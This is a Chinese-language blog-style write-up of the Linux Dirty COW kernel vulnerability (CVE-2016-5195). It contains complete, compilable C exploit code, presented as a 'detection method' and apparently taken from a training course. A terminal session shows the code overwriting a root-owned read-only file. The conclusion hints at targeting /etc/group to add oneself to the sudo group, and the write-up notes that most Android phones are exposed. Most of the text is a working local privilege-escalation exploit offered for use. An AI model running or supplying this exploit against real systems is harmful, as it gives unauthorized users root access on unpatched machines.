漏洞描述
描述引用来源：https://github.com/dirtycow
*A race condition was found in the way the Linux kernel's memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings. *
Linux内核的内存子系统在处理copy-on-write（COW）时出现竞争条件，导致私有只读存储器映射被破坏。
The bug has existed since around 2.6.22 (released in 2007) and was fixed on Oct 18, 2016. List of patched versions here
这个bug自Linux 2.6.22(发布于 2007 年)存在至今，并于2016年10月18日被修复。点击这里查看已发布补丁的Linux版本。
Linux内核的内存子系统在处理copy-on-write（COW）时出现竞争条件，导致私有只读存储器映射被破坏，可利用此漏洞非法获得读写权限，进而提升权限。
Dirty COW
漏洞检测方法
/*
* author : http://www.ichunqiu.com/course/56009
* title : 实验1 CVE-2016-5195（脏牛）内核提权漏洞分析
* modify : 天苍野茫
* fileName: dirtycow.c
* build : gcc -pthread dirtycow.c -o dirtycow
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
int bSuccess = 0;
void *madviseThread(void *arg)
{
char *str;
str = (char *)arg;
int f = open(str, O_RDONLY);
int i = 0, c = 0;
char buffer1[1024], buffer2[1024];
int size;
lseek(f, 0, SEEK_SET);
size = read(f, buffer1, sizeof(buffer1));
while(i < 100000000)
{
c += madvise(map, 100, MADV_DONTNEED);
lseek(f, 0, SEEK_SET);
size = read(f, buffer2, sizeof(buffer2));
if(size > 0 && strcmp(buffer1, buffer2))
{
printf("Hack success!\n\n");
bSuccess = 1;
break;
}
i++;
}
close(f);
printf("madvise %d\n\n", c);
}
void *procselfmemThread(void *arg)
{
char *str;
str = (char *)arg;
int f = open("/proc/self/mem", O_RDWR);
int i = 0, c = 0;
while(i < 100000000 && !bSuccess)
{
lseek(f, (uintptr_t)map, SEEK_SET);
c += write(f, str, strlen(str));
i++;
}
close(f);
printf("procselfmem %d \n\n", c);
}
int main(int argc, char *argv[])
{
if(argc < 3)
{
(void)fprintf(stderr, "%s\n", "usage: dirtycow target_file new_content");
return 1;
}
pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY);
fstat(f, &st);
name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]);
pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
close(f);
return 0;
}
漏洞检测结果
平台信息
tiancangyemang@ubuntu:~$ uname -a
Linux ubuntu 3.13.0-96-generic #143-Ubuntu SMP Mon Aug 29 20:15:20 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
tiancangyemang@ubuntu:~$ gcc --version
gcc (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4
Copyright (C) 2013 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
测试过程
编译
tiancangyemang@ubuntu:~$ gcc -pthread dirtycow.c -o dirtycow
准备测试目标
tiancangyemang@ubuntu:~$ echo ABCDEFGHIJKLMN > target.txt
tiancangyemang@ubuntu:~$ cat target.txt
ABCDEFGHIJKLMN
tiancangyemang@ubuntu:~$ chmod 644 target.txt
tiancangyemang@ubuntu:~$ sudo chown root:root target.txt
[sudo] password for tiancangyemang:
tiancangyemang@ubuntu:~$ ls -l target.txt
-rw-r--r-- 1 root root 15 10月 30 13:14 target.txt
开始测试
tiancangyemang@ubuntu:~$ cat target.txt
ABCDEFGHIJKLMN
tiancangyemang@ubuntu:~$ ./dirtycow target.txt 1234567890
mmap 7fa185de3000
Hack success!
procselfmem 52150
madvise 0
tiancangyemang@ubuntu:~$ ls -l target.txt
-rw-r--r-- 1 root root 15 10月 30 13:14 target.txt
tiancangyemang@ubuntu:~$ cat target.txt
1234567890KLMN
结论
- 由上面的测试数据可知，只要有对target.txt的可读权限，就可以利用Dirty COW漏洞获得读写权限！
- 若把目标从target.txt改成/etc/group，将自己加入sudo组，你懂的~
补充
Dirty COW漏洞是一个远古时期的漏洞(2007年，Linux 2.6.22)，影响版本广泛，现在市面上绝大部分 Android 手机的 Linux 版本都大于2.6.22，换言之，目前市面上绝大部分 Android 手机均面临Dirty COW漏洞的威胁！
